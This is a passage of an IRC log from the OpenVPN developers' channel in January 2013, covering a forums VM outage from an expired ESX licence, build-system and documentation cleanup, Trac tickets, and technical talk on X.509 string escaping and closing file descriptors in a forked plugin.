destroyer of virtual machines is back... :-) 07:46 <@ecrist> yeah 07:46 <@ecrist> I don't have console 07:46 <@ecrist> mattock wasn't listed as away, so I thought it was safe 07:46 <@ecrist> should have pinged first 07:46 <@cron2_> send him an e-mail, he hates that, but it gets his attention :) 07:47 <@ecrist> already did 07:47 <@ecrist> about 10m after the ping, above 08:52 <@ecrist> mattock or raidz_away: pingy pingy 08:59 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:52 <@mattock> uh 10:53 <@mattock> LDAP up, Trac up 10:53 <@mattock> I'll see if I can get access to the forums VM console 10:53 <@dazo> hmmm .... community.openvpn.net is blocked in China ... http://viewdns.info/chinesefirewall/?domain=community.openvpn.net 10:53 <@vpnHelper> Title: Chinese Firewall Test - ViewDNS.info (at viewdns.info) 10:54 <@mattock> those chinese... 10:54 <@dazo> and forums.openvpn.net is completely closed 10:55 <@mattock> we'll see what wrong with forums... 10:55 <@ecrist> thanks 10:55 <@dazo> :-p wonder how long it takes before privatetunnel.com is blocked ... 10:56 <@mattock> it's not already? 10:56 <@ecrist> :D secure-computing.net isn't blocked 10:57 <@mattock> ok, nothing I can do for the forums 10:57 -!- raidz_away is now known as raidz 10:57 <@ecrist> mattock: ??? 10:57 <@mattock> ESX license expired, don't have any license keys 10:57 <@mattock> raidz: there? 10:58 <@mattock> raidz: there's kind of an emergency here with forums ESX host 10:58 <@ecrist> mattock: I just rebooted the box - are you saying it didn't boot because it was out of licenses? 10:58 <@dazo> mattock: you guys should switch over to KVM ;-) 10:58 <@mattock> ecrist: oh, you did? 10:58 <@ecrist> when I say "just" I meant 4 hours ago 10:58 <@ecrist> to finish a system upgrade 10:58 <@ecrist> it never came back 10:59 <@mattock> forums VM refused to start, complained about license key expiration 10:59 <@ecrist> ok 10:59 <@ecrist> :( 10:59 <@mattock> yeah, that happened with another non-important VM earlier 10:59 <@mattock> I assumed raidz had already fixed that for the whole ESX host 10:59 * ecrist thinks forums are important 11:00 <@mattock> yes, definitely 11:00 <@mattock> but I had the same issue with another VM on the same host 11:01 <@mattock> I'll mail raidz, just in case he missed the IRC messages 11:03 * ecrist tweets 11:15 <@mattock> ok, mail sent 11:15 <@mattock> poked raidz through Gtalk 11:15 <@mattock> raidz is fixing it 11:16 <@raidz> working on it now! 11:26 -!- dazo is now known as dazo_afk 11:38 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 11:38 <@raidz> dazo_afk: I am planning on migrating our VMware stuff to kvm eventually, hate Vmware 11:38 <@raidz> ecrist, almost fixed 11:40 <@ecrist> thanks! 11:43 <@raidz> booting up 11:43 <@ecrist> Request timeout for icmp_seq 16091 11:43 <@mattock> I've had zero issues with kvm, very nice platform 11:44 <@raidz> ecrist: looks to be booted, can you let me know now? 11:44 <@ecrist> tada! 11:44 <@ecrist> Request timeout for icmp_seq 16119 11:44 <@ecrist> 64 bytes from 208.43.3.117: icmp_seq=16120 ttl=53 time=41.004 ms 11:44 <@raidz> woohoo! 11:44 <@mattock> even forums -> ldap connection works 11:44 <@mattock> logged in 11:44 <@ecrist> and they're up! 11:44 <@raidz> awesome, sorry about that guys 11:44 <@raidz> I thought I got all the nodes done 11:44 <@ecrist> 16179 packets transmitted, 59 packets received, 99.6% packet loss 11:44 <@ecrist> round-trip min/avg/max/stddev = 38.942/45.494/99.521/8.760 ms 11:45 <@raidz> gonna go grab my coffee now, ping me if anything comes up 11:45 <@mattock> raidz: ok, have fun! 11:46 <@mattock> I stopped drinking coffee a while back... I've never been more energetic 11:46 <@mattock> no more ups and downs and being like a zombie :D 11:46 <@ecrist> mattock - I'm goign to make an iOS sub-forum like there is for android 11:46 <@mattock> good idea, go ahead 11:47 <@ecrist> done 11:53 <@raidz> back 11:53 <@raidz> mattock: I don't know how you do that 11:53 <@raidz> not sure if I could survive without coffee 11:53 <@raidz> lol 11:59 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @cron2_ 12:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:08 -!- dazo_afk is now known as dazo 14:13 <@dazo> raidz: sounds good :) 17:31 -!- dazo is now known as dazo_afk 19:40 -!- raidz is now known as raidz_away --- Day changed Tue Jan 22 2013 03:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:07 <@d12fk> so, james is coming to fosdem? who else from ovpn tech? 04:30 -!- dazo_afk is now known as dazo 04:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 04:56 <@mattock> d12fk: me, James, Francis 04:56 <@mattock> not sure of Johan... he could, he's from Netherlands 04:57 <@mattock> 4 hour drive I hear 05:09 <@d12fk> mattock: cool. At last we meet Mr. Yonan. =) 05:20 <@dazo> cool! 05:40 <@d12fk> yaupi - yet another utf8 patch incoming 06:40 <@cron2> must.resist.answering.openvpn-users 06:53 <@dazo> hahahahahahaha 06:53 <@cron2> .oO(I think dazo just read the question :) ) 06:53 <@dazo> I did 06:53 <@dazo> that's an epic question .... 06:55 * dazo is tempted to reply: Something much better! HTML6 with JavaScrum 07:23 * cron2 just found about about AS pricing, and is amazed. 08:07 <@dazo> "Use of a BOM is neither required nor recommended for UTF-8" ... how surprising Microsoft ignores that in Notepad .... 08:58 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has joined #openvpn-devel 08:58 < MeanderingCode> morning all 08:58 < MeanderingCode> is the "OpenVPN Connect" Android client FLOSS? 08:59 <@dazo> MeanderingCode: no, it's not ... at least not yet 09:00 < MeanderingCode> dazo: thanks 09:00 < MeanderingCode> unfortunate 09:00 < MeanderingCode> any reason? 09:00 <@dazo> MeanderingCode: Look for "OpenVPN for Android" by Arne Schwabe, that's properly open sourced 09:00 < MeanderingCode> i'm implementing a client, so i'm disappointed to hear... 09:01 < MeanderingCode> looking...i'm also looking at https://github.com/kghost/ics-openvpn 09:01 <@dazo> MeanderingCode: I don't dare to talk on behalf of the openvpn tech company ... but it's a complete rewrite, I believe 09:01 <@vpnHelper> Title: kghost/ics-openvpn · GitHub (at github.com) 09:01 <@dazo> plaisthos: ^^^ 09:02 <@dazo> plaisthos is the "OpenVPN for Android" developer 09:02 <@dazo> https://play.google.com/store/apps/details?id=de.blinkt.openvpn&hl=en 09:02 <@vpnHelper> Title: OpenVPN for Android - Android Apps on Google Play (at play.google.com) 09:02 < MeanderingCode> ah, that's the project, yes :) 09:14 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has joined #openvpn-devel 09:21 * cron2 has not yet understood the desire to write new OpenVPN clients for Android... there's at least 10 different ones now... where's the fame here? 09:22 < parmegv> cron2: perhaps they are not good enough 09:23 <@cron2> parmegv: well, I'm sure that plaisthos values patches and feedback :-) 09:23 < parmegv> I've tried to compile both github's https://github.com/kghost/ics-openvpn and https://code.google.com/p/ics-openvpn/source/browse/ and no one was compiling easily 09:23 <@vpnHelper> Title: kghost/ics-openvpn · GitHub (at github.com) 09:24 < parmegv> cron2: yes, why not, you are right 09:24 < parmegv> just wondering 09:44 <@d12fk> dazo: you fork(2) in you plugin right? 09:45 <@d12fk> what's the trick to collect the deceased corretly? 09:46 <@d12fk> i fork an deferred authenticator in auth-user-pass stage and wonder where I should wait(2) for the child 09:58 <@dazo> d12fk: I fork in eurephia, to preserve root access for firewall updates .... and auth-pam does something similar too, I believe 10:00 <@d12fk> checkinf auth-pam, thanks 10:01 <@d12fk> hm, not quite what iI'm looking for 10:01 <@d12fk> it's done in plugin_open/close there, that's easy 10:01 <@d12fk> probably go with threads instead 10:02 <@dazo> d12fk: threads won't preserve root privileges, though 10:02 <@dazo> d12fk: down-root is the last plug-in I can recall which does forking 10:02 <@d12fk> i just need it for async 10:03 <@dazo> ahh ... there's a sample plugin for that as well .... defer ... something 10:03 -!- dazo is now known as dazo|afk 10:06 <@d12fk> yeah but it uses system(), so there's no asynchronity going on there... pthreads it will be i guess 10:07 -!- MeanderingCode [~Meanderin@71-213-175-129.albq.qwest.net] has quit [Read error: Connection reset by peer] 10:25 -!- dazo|afk is now known as dazo 10:27 -!- raidz_away is now known as raidz 10:37 -!- raidz is now known as raidz_away 10:40 -!- raidz_away is now known as raidz 11:28 * d12fk is scared off by the pthreads & signals part 11:28 <@d12fk> considering unix socket fd passing in conjunction with epoll in separate process now =) 11:31 <@mattock> cron2: re: rewriting android clients... no point in doint just that, but if one wants to make an iOS client, too, then it makes sense 11:31 <@mattock> that's got to be the primary reason 13:29 -!- dazo is now known as dazo_afk 16:17 <@cron2> openvpn-users is full of lulz, just resist answering... 19:49 -!- raidz is now known as raidz_away --- Day changed Wed Jan 23 2013 01:01 <@mattock> cron2: +1, great posting :D 01:02 <@mattock> good lol day indeed 01:14 <@mattock> I'll finish setting up ad hoc cross-compile tests today 01:14 <@mattock> I spoke about the "msvc" buildsystem with Alon and he thinks he should scrapped 01:15 <@mattock> I tend to agree, as maintaining even one buildsystem is enough work... unless there's a very good reason to allow msvc builds 01:16 <@mattock> I could, for example, try put "OpenVPN build VM" template to Amazon EC2 and/or provide "setup openvpn cross-compile build computer" scripts for those MSCEs who are mostly unix-illiterate 01:17 <@mattock> also, Alon said he's not maintaining openvpn-build anymore 01:56 <@mattock> added mentions of tap-windows, easy-rsa and openvpn-build on the community downloads page: http://openvpn.net/index.php/download/community-downloads.html 01:56 <@vpnHelper> Title: Community Downloads (at openvpn.net) 02:08 <@cron2> why am I not surprised to see Alon drop openvpn-build? "drop and run" patches... *sigh* 03:16 <@mattock> well, we'll see if he manages to stay silent when we start patching openvpn-build 03:16 <@mattock> he might have opinions regarding those patches 03:19 <@cron2> mattock: can the cross-build build system build the tap driver? 03:19 <@cron2> (that would be a reason to keep the msvc build system) 03:20 <@cron2> mmmh 03:20 * cron2 forgot that tap is a separate project anyway - how is that one built these days? 03:24 <@mattock> in windows, there's documentation in the wiki 03:24 <@mattock> Visual Studio 03:43 <@cron2> I see, so "someone" has to build the tap driver on windows, create the binary and sign it, and after that, nobody needs windows anymore. What about James? ;-) 03:44 <@mattock> I don't think he loves visual studio, either 03:45 <@mattock> I think his only concern was that mingw was at one point lagging a lot behind Visual Studio in some respects 03:45 <@mattock> can't recall which 03:45 <@mattock> windows api support or something similar 03:48 <@mattock> I'll test windows building and if it works ok, I'll post a patch to openvpn-build which makes the default URLs more sensible 03:48 <@mattock> current defaults are horribly broken, URLs are missing etc 03:59 <@cron2> mattock: who has write access to openvpn-build? 04:00 * cron2 is a bit worried that we managed to make a good mess from "single openvpn git" with fragmented docs, outdated build-this and build-that repos, etc. 04:06 <@mattock> cron2: I and dazo are owners 04:06 <@mattock> I got "fix this separation mess" on my TODO 04:06 <@mattock> i.e. documentation and such 04:07 <@mattock> the separation was useful in some ways, but we definitely need to clean up the debris it left 04:08 <@mattock> I'll work on improving the linkage between the subprojects tomorrow/Friday 04:08 <@mattock> current situation is confusing 04:08 <@mattock> and if we can kill the "msvc" buildsystem, that'll make things cleaner 04:10 <@cron2> mattock: oh, cool :-) - thanks 04:14 <@mattock> ok, build succeeded, sending a patch to ml 04:35 <@mattock> patch away 05:03 -!- dazo_afk is now known as dazo 06:19 <@dazo> I think most Visual Studio developers hates the compiler but loves the IDE part of it 06:51 <@dazo> mattock: I don't think we need the same strict review regime for openvpn-build as we have on openvpn.git and tap-windows.git .... so I would just go ahead and commit the -build.git patches you need to get building function 06:52 <@dazo> (sending a copy to the ML of the patches are good, as it's hard to manipulate those mails ... and you can consider to send a "committed to $branch as $commitsh" message 06:52 <@dazo> ) 06:55 * cron2 +1's dazo 06:57 <@mattock> dazo: yes, I agree... I sent the patch to the ml for the reasons you mentioned 06:57 <@dazo> goodie :) 06:57 <@mattock> I'll push the changes to the official openvpn-build repo soonish 06:58 <@mattock> I'm also considering pushing deb/rpm stuff from my openvpn-build fork to mainline... I didn't do that when Alon was still around, as he'd probably have an opinion about that, too 06:58 <@mattock> :D 06:58 <@mattock> deb/rpm thingy needs some cleaning up, but it's fairly solid 06:59 <@dazo> mattock: well, he practically put you in charge when he pulled the plug ... so you're the boss :) 06:59 <@dazo> mattock: for rpm ... please run .spec and .rpm files through rpmlint 06:59 <@dazo> that will catch the most ugly things 07:02 <@mattock> yes, done rpmlint already 07:02 <@dazo> ahh good :) 07:02 <@mattock> hmm, I've somehow managed to learn a nasty habit of forgetting to use a real verb in many sentences :P 07:03 <@mattock> yes, _have_ done rpmlint [checks] already 07:03 <@mattock> same both in Finnish and in English... I wonder if that's a sign of something? :D 07:03 <@dazo> nah, 'done' is the real verb ... 'have' is just the modular verb, iirc :) 07:11 <@ecrist> does 2.3.0 not include tapinstall.exe? 07:14 <@cron2> ecrist: 2.3.0-what? source tree, windows installer, tar ball? 07:14 <@cron2> source doesn't, installer should 07:14 <@ecrist> windows installer, but never mind, kisom is helping this person 07:14 <@ecrist> it's just been moved from where it used to reside 07:57 <@d12fk> "He added that in his 15 years in the administration, this was the first time cheese had caught fire on Norwegian roads." 07:58 <@d12fk> hah, dem norwegians again and theirs cheese?! http://mobile.reuters.com/article/idUSBRE90L0LP20130122?irpc=932 07:58 <@vpnHelper> Title: Cheese fire causes traffic meltdown in Norway tunnel (at mobile.reuters.com) 08:03 <@d12fk> dazo: explain this shit! =) 08:04 <@dazo> hahahaha 08:05 <@dazo> ROFL!! "A truckload of burning cheese has closed a road tunnel in Arctic Norway for the last six days." 08:12 <@dazo> d12fk: Took time to find the article .... but here with a video a bit further down ... http://www.nrk.no/nyheter/distrikt/nordland/1.10882806 08:12 <@vpnHelper> Title: Brunostbrannen vekker oppsikt i utlandet - Nordland - NRK Nyheter (at www.nrk.no) 08:13 <@dazo> It did really burn for 4 days 08:15 <@d12fk> noone stops norwegian cheese, not even chuck norris in the iron man suite 08:16 <@dazo> hahaha 08:16 <@dazo> poor iron man suite .... 08:18 <@d12fk> oh tricky typo there, scratch the e 08:19 <@dazo> true :) 08:20 <@d12fk> what would chuck norris have to do in iron man's suite anyway? not homophobic, just asking! =) 08:20 <@d12fk> still would want to get in trouble with their child... erm 09:57 < syzzer> does anyone recall the discussion on \0 characters in x509 subject / issuer strings? 09:58 < syzzer> I'm currently looking at it and was wondering if someone else is already doing something with it 10:03 <@dazo> syzzer: d12fk have been poking into that 10:04 <@dazo> I was also involved in that discussion ... but d12fk was doing the patch work 10:08 <@d12fk> indeed patch is quasi ready, just the unsolvable parts left to be solved 10:11 <@d12fk> the remaining problem is the --x509-track code path for x.509v3 extensions 10:12 <@d12fk> openssl writes those directly 10:12 <@d12fk> x509_setenv_track() in the else hive 10:13 <@d12fk> X509V3_EXT_print() does not escape 10:16 <@d12fk> so far i have this as a partial solution: http://pastebin.com/t4Zqv8wh 10:16 < syzzer> Great, thanks! I'll take a look at it soon 10:47 -!- raidz_away is now known as raidz 13:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:19 -!- dazo is now known as dazo_afk 15:40 * krzee notices 2.3.0 is out! 15:40 <+krzee> o/ 16:20 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 19:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 19:25 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:47 -!- raidz is now known as raidz_away --- Day changed Thu Jan 24 2013 00:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 01:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Client Quit] 04:16 -!- dazo_afk is now known as dazo 04:40 <@dazo> Wow! Somebody dislikes the limitation on config files in our Windows GUI .... 50 is not enough ..... 04:48 <@cron2> -users is an interesting mixture of lulz and pain... 04:56 <@dazo> yeah :) 06:14 <@ecrist> lol 06:15 <@d12fk> mattock: could build the next GUI with MAX_CONFIGS in options.h set to whatever 06:16 <@d12fk> but i wonder why someone would need that much really 06:16 <@d12fk> had a couple of users approach me in the past years 07:26 <@cron2> dazo: "Please misunderstand me correctly ..." - we try, but hard it is 07:26 <@dazo> :) 08:49 <@mattock> d12fk: hmm, yes, maybe I go for the maximum number representable in 64 bits 08:49 <@mattock> :P 08:50 <@mattock> btw. we now have a poor-man's buildslave that builds Windows installers on every commit and mails me (i.e. my own IMAP server) the results 08:50 <@mattock> I didn't want to contaminate the buildbot config with cross-compile tests which have no relation to normal *NIX builds 09:08 <@d12fk> just found that the man page is outdated for the "String Types and Remapping" section 09:32 <@mattock> looking at the other outdated documentation in openvpn, openvpn-build, tap-windows and easy-rsa 09:32 <@mattock> I'm sure there's plenty :) 09:36 <@mattock> ah, still some references to win\build_all.py and domake-win in INSTALL 09:37 <@mattock> fixing 09:42 <@mattock> hmm, is openssl-0.9.8 the oldest one we support? 09:42 <@ecrist> iirc, yes 09:43 <@mattock> ok, INSTALL said 0.9.5 09:43 <@mattock> definitely needs a facelift 09:43 <@ecrist> that's certainly wrong 09:43 <@mattock> yeah 09:44 <@mattock> no mention of PolarSSL, either 09:44 <@mattock> I wonder what 0x01010000 is in human-readable polarssl version numbers... 09:46 <@dazo> mattock: 1.1, I'd presume 09:49 -!- dazo is now known as dazo_afk 09:49 <@mattock> yeah, that's what I thought also 09:49 <@mattock> I'll remove the mention of pthreads, I believe that's completely gone by now 09:53 <@mattock> uh, I wonder if the documentation regarding Linux 2.2 and even 2.4 could be removed entirely... 09:57 <@mattock> 2.6.0 was release 10 years ago... wow 10:11 -!- raidz_away is now known as raidz 10:53 <@mattock> cron2: does solaris still require some tap-driver trickery, or is a proper tap-driver included in the kernel? 11:01 <@cron2> mattock: external driver still needed 11:04 <@mattock> ok, which one is recommended? 11:04 <@mattock> www.whiteboard.ne.jp/~admin2/tuntap/ ? 11:14 <@cron2> I think that's the one 11:15 <@cron2> it even acknowledges OpenVPN 2.2.0 :-) 11:18 <@mattock> yeah :) 11:19 <@mattock> here's an updated INSTALL: http://pastebin.com/w0nSuMGH 11:19 <@mattock> and here the diff: http://pastebin.com/Veyg7Q6D 11:19 <@mattock> I didn't feel any mercy, feel free to rant if you think something important has been deleted 11:20 <@mattock> also, the "Supported platforms" section probably needs some discussion... I changed that to reflect current operating system support status 12:03 <@cron2> mattock: I did some work in the wiki a while back, maybe you want to incorporate that or point to it 12:03 <@cron2> https://community.openvpn.net/openvpn/wiki/PlatformNotes 12:03 <@vpnHelper> Title: PlatformNotes – OpenVPN Community (at community.openvpn.net) 12:04 <@cron2> uh 12:04 <@cron2> editing wiki in chrome doesn't work for me anymore 12:05 <@cron2> it works if I click on "edit side by side", but otherwise I have two large blank areas, one of them with a scrollbar... weird 12:27 <@mattock> hmm, I'll try with chromium 12:27 <@mattock> cron2: ok, I'll check the wiki 12:29 <@mattock> cron2: editing works for me in Chromium 12:32 <@mattock> README is also badly outdated, fixing... 13:06 * cron2 sees a large documentation patch coming up :) 13:10 <@mattock> you see correctly 13:11 <@mattock> are the *.ipv6 files still valid? 13:13 <@cron2> basically, yes, but I'm sure there is cruft in there as well 13:15 <@cron2> I think we can drop ChangeLog.IPv6 13:16 <@cron2> README.IPv6 is also stale and should be updated to no longer point elsewhere 13:16 <@cron2> the examples are not bad and could be kept (and maybe even extended) 13:18 <@cron2> TODO.IPv6 is half stale, half "things that might eventually need to be considered" 13:35 <@mattock> ok 13:35 <@mattock> in case I failed to mentions, I'll be bringing the T-shirts to FOSDEM 13:35 <@mattock> got them last week 13:35 * cron2 doesn't believe in T-Shirts :) 13:35 <@mattock> you sceptic :D 13:36 <@mattock> I can send you photo, if that'd alleviate your fears :P 13:36 <@mattock> a photo 13:36 <@cron2> it's called "photoshopped" for a reason :) 13:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:35 <@ecrist> hey krzee 14:36 <+krzee> heyhey 14:36 <@ecrist> soapee01 was looking for you, btw 14:36 <+krzee> i realized i dont need layer2 for my goal 14:36 <+krzee> (very happy bout that) 14:36 <+krzee> ahh, not sure who that is 14:36 <@ecrist> he said he's contracted you before for voip stuff 14:36 <+krzee> oh ive seen him 14:36 <@ecrist> bash stuff, too 14:36 <+krzee> ahh werd 14:38 <+krzee> niiiiiiners! 14:47 <@ecrist> dazo_afk: fedora 18 sure doesn't seem to be getting any love 16:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:48 -!- raidz is now known as raidz_away 19:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jan 25 2013 02:12 <@mattock> mkay, some documentation patches on their way 02:17 <@mattock> plaisthos: will you be at fosdem 02:17 <@mattock> ? 02:50 <@cron2> mattock: he said so (but staying at a different hotel) 02:53 <@cron2> mattock: one caveat about INSTALL - in the Windows section, it says "The driver source code is available here:" and then the section ends 03:38 <@mattock> yeah, I'll fix that 03:38 <@mattock> I won't mail plaisthos' shirt, then 04:00 <@mattock> fixed the tap-driver url omission 04:03 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 04:04 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 04:13 <@vpnHelper> RSS Update - tickets: #251: dhcp-option 252 on IOS <https://community.openvpn.net/openvpn/ticket/251> 04:19 <@vpnHelper> RSS Update - tickets: #252: OpenVPN-GUI (64-bit) fails after installation <https://community.openvpn.net/openvpn/ticket/252> 04:24 <@vpnHelper> RSS Update - tickets: #253: Let me opt-out of l18n <https://community.openvpn.net/openvpn/ticket/253> || #254: Spelling error in translated error message [i18n: nl] <https://community.openvpn.net/openvpn/ticket/254> 04:28 -!- dazo_afk is now known as dazo 04:40 <@cron2> djc: regarding 252 -> that is a known bug in the 2.3.0-I0001 installer. Mattock has a fix. 04:40 <@cron2> "custom path" is broken 04:40 * dazo wonders who djc is .... 04:40 <@cron2> gentoo/developer 04:41 <@dazo> Am I blind .... I don't see djc here ..... 04:41 <@cron2> 11:04 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 04:41 <@cron2> oh 04:41 <@dazo> ahh :) 04:42 <@dazo> I see him in #openvpn though :) 04:42 * dazo can proxy the message 04:42 <@cron2> meh, can't open comments to trac bugs either... something is weird between my chrome and the new trac version 04:42 <@cron2> mattock: 252 is yours :) 04:42 <@cron2> d12fk: 253 is yours 04:43 * dazo tries his trac powers 04:44 <@d12fk> cron2: umm, you ca opt out in the gui settings 04:44 * cron2 wouldn't know anything about GUIs 04:45 <@d12fk> Priority: major... what the hell 04:45 <@cron2> heh :) didn't see that. 254 is major as well, single spelling error. 04:45 * dazo moved them to 'trivial' 04:47 <@d12fk> i don't have the privileges to modify tickets, mattock? 04:50 <@d12fk> dazo: can you close 254 as answered 04:54 <@dazo> d12fk: sure! .... 'fixed' is good enough? Got a pointer to the commit? 04:54 * dazo adds a new component - Windows GUI 04:55 <@d12fk> what commit? 04:56 <@dazo> ticket #254 .... you fixed the spelling error? 04:56 <@d12fk> oh sorry 04:56 <@d12fk> i meant 253 04:56 <@d12fk> i'll comment on 254 asap 04:57 <@dazo> okay .... #253 got a response as well 04:58 <@d12fk> yeah, but it's rather 252 again 05:00 <@dazo> (and mattock needs to do the privilege changes ... my admin access doesn't have user privileges afaics) 05:06 <@cron2> first attempt on renewing README.IPv6 - could you have a look at http://pastebin.com/FCm4YU4d please? 05:07 <@d12fk> dazo: 254 is done 05:14 <@d12fk> i didnt get mail when the guy commented on 253 btw. 05:14 <@d12fk> mattock: ^^ something you want to took after? 05:17 <@d12fk> dazo: #253 is done as well 05:31 <@d12fk> dazo: in my forked process there are several FDs open the should be CLOEXECd: 05:31 <@d12fk> async_aut 27995 root 5w REG 8,6 232 152107 /var/run/openvpn-status.log 05:31 <@d12fk> async_aut 27995 root 6u REG 8,6 0 152109 /var/run/ipp.txt 05:31 <@d12fk> async_aut 27995 root 10u 0000 0,8 0 13 anon_inode 05:31 <@d12fk> async_aut 27995 root 12w REG 8,6 0 145208 /tmp/openvpn_acf_ddcf071d20362a9a41bc7cece64d5244.tmp 05:32 <@d12fk> ah scratch the last one, sorry 05:33 <@mattock> d12fk: now in Trac config: 05:33 <@mattock> always_notify_owner = true 05:33 <@mattock> always_notify_reporter = true 05:33 <@mattock> always_notify_updater = true 05:33 <@d12fk> any idea what the anon_inode could be 05:33 <@d12fk> mattock: thanks 05:34 <@mattock> that said, you probably have to set the email address in Trac preferences 05:34 <@mattock> Trac uses LDAP only for authentication, nothing else 05:34 <@d12fk> will do 05:34 <@mattock> do you need more privileges to Trac, or was that handled already? 05:34 <@mattock> e.g. close tickets 05:34 * dazo looks up 05:35 <@d12fk> email was set already =9 05:35 * dazo lets mattock and d12fk figure out the ticket stuff now 05:35 * cron2 asks again: first attempt on renewing README.IPv6 - could you have a look at http://pastebin.com/FCm4YU4d please? 05:35 <@d12fk> dazo: lokk up again and check the FD stuff out i posted 05:36 <@mattock> cron2: looked fine 05:36 <@cron2> cool 05:36 * cron2 sends patch 05:36 <@dazo> d12fk: yeah I do ... just looking at what I do in eurephia .... as I don't see those files opened there 05:36 <@dazo> (in the fork) 05:37 <@d12fk> they depend on options set i suppose 05:37 <@d12fk> status /var/run/openvpn-status.log 05:37 <@d12fk> ifconfig-pool-persist /var/run/ipp.txt 05:37 <@dazo> d12fk: ahh .... I have this little snippet, which is run if openvpn is daemonised .... 05:37 <@dazo> { 05:37 <@dazo> int fd = -1; 05:37 <@dazo> if( logredir ) { 05:37 <@dazo> fd = dup (2); 05:37 <@dazo> } 05:37 <@dazo> if( daemon(0, 0) < 0 ) { 05:37 <@dazo> eurephia_log(ctx, LOG_WARNING, 0, "efw_daemonize() failed"); 05:37 <@dazo> } else if( fd >= 3 ) { 05:37 <@dazo> dup2(fd, 2); 05:37 <@dazo> close(fd); 05:37 <@dazo> } 05:37 <@dazo> } 05:38 <@dazo> hmm ... 05:38 <@dazo> that shouldn't be all 05:38 <@dazo> and that was run in the parents thread 05:38 * dazo need to look closer again 05:39 <@dazo> nope, I don't do any particular magic .... 05:40 <@d12fk> is O_CLOEXEC portable at all? 05:41 <@dazo> d12fk: I vaguely recall that that one is Linux only ... need to check the man page on that 05:41 <@mattock> it seems I need to do tons of NSIS work; 249, 252 and the tap-windows installer issue (addtap.bat...) 05:41 <@d12fk> otherwise fcntl() could be 05:41 <@cron2> mattock: yeah, looks like it :) 05:42 <@dazo> d12fk: The O_CLOEXEC flag is not specified in POSIX.1-2001, but is specified in POSIX.1-2008. 05:43 <@dazo> and it arrived in Linux 2.6.23 05:43 <@d12fk> how bout FD_CLOEXEC 05:43 <@d12fk> in our case this would do the same 05:44 <@d12fk> 2008 was only 5 years ago, that's too new 05:44 <@dazo> d12fk: I think I'd aim for FD_CLOEXEC ... no particular mentions in man pages at least 05:44 <@dazo> d12fk: well, I'm pretty sure RHEL5 got it ... even though that's 2.6.18 (but it's most likely a backported feature) 05:45 <@d12fk> re: anon_inode. anything? 05:45 <@dazo> d12fk: I have no idea what that could be 05:45 <@d12fk> i'll strace and find out what ovpn is doing with it 05:46 <@dazo> I don't see any anon* fds at all on one of my servers running eurephia 05:46 <@d12fk> maybe related to port forwarding 05:47 <@d12fk> i'll find out 06:45 <@d12fk> dazo: seems to be the epoll fd 06:46 <@d12fk> makes sense as there's no other fd open that could be it 06:52 <@dazo> ahh! 07:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 07:05 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Ping timeout: 255 seconds] 07:07 <@d12fk> dazo: what's the oldest linux kernel we support? 07:08 -!- dazo is now known as dazo_afk 07:20 <@d12fk> asking because 2.6.27 (10/2008) has epoll_create1 which takes EPOLL_CLOEXEC 07:30 <@d12fk> oh and then there's no fcntl(2) in Windows... 07:31 <@d12fk> that feel again... 07:42 <@cron2> my chromium browser is... confused. gmail reproduceably creates a hanging browser... wtf 07:42 * cron2 goes updating stuff 07:58 <@vpnHelper> RSS Update - tickets: #255: Windows 2.3.0 installers lack TAP driver utilities <https://community.openvpn.net/openvpn/ticket/255> 09:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:58 -!- dazo_afk is now known as dazo 10:10 <@d12fk> [Fri. 25.01.2013 14:07] <d12fk> dazo: what's the oldest linux kernel we support? 10:10 <@d12fk> nag nag 10:12 <@dazo> d12fk: RHEL5 ... that's 2.6.18 based ... but it have a lot of backports from newer kernels as well 10:12 <@dazo> d12fk: if you have a really simple test code, I can try to compile and run that on a CentOS5 box I got available 10:19 <@d12fk> dazo: printf "#include <sys/epoll.h>\nint main(void){ return epoll_create1(EPOLL_CLOEXEC); }\n" | gcc -x c - 10:20 <@d12fk> if that compiles we're good 10:20 <@d12fk> not s.th. i'd backport though 10:20 <@d12fk> libc would need to support it as well 10:21 <@dazo> $ printf "#include <sys/epoll.h>\nint main(void){ return epoll_create1(EPOLL_CLOEXEC); 